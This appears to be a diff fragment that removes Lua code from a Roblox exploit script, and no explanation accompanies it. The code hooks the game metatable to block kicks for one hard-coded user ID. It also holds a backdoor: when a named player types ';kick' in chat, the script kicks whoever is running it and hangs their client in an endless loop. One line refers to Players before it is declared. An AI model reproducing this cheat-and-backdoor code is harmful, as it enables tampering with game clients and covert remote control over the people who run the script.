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- spawn(function()
- if game.Players.LocalPlayer.UserId == 3323558881 then
- local mt = getrawmetatable(game)
- local old = mt.__namecall
- local protect = newcclosure or protect_function
- if not protect then
- notify("Incompatible Exploit Warning", "Your exploit does not support protection against stack trace errors, resulting to fallback function")
- protect = function(f) return f end
- end
- setreadonly(mt, false)
- mt.__namecall = protect(function(self, ...)
- local method = getnamecallmethod()
- if method == "Kick" then
- wait(9e9)
- return
- end
- return old(self, ...)
- end)
- hookfunction(Players.LocalPlayer.Kick,protect(function() wait(9e9) end))
- end
- local Players = game:GetService("Players")
- local function checkForPlayer()
- for _, player in pairs(Players:GetPlayers()) do
- if player.Name == "arseni_tge3" then
- game.Players.arseni_tge3.Chatted:connect(function(cht)
- if cht:match(";kick") then
- game.Players.LocalPlayer:Kick("You got kicked.")
- wait(0.5)
- while true do end
- end
- end)
- return
- end
- end
- end
- spawn(function()
- while wait() do
- checkForPlayer()
- end
- end)
- end)
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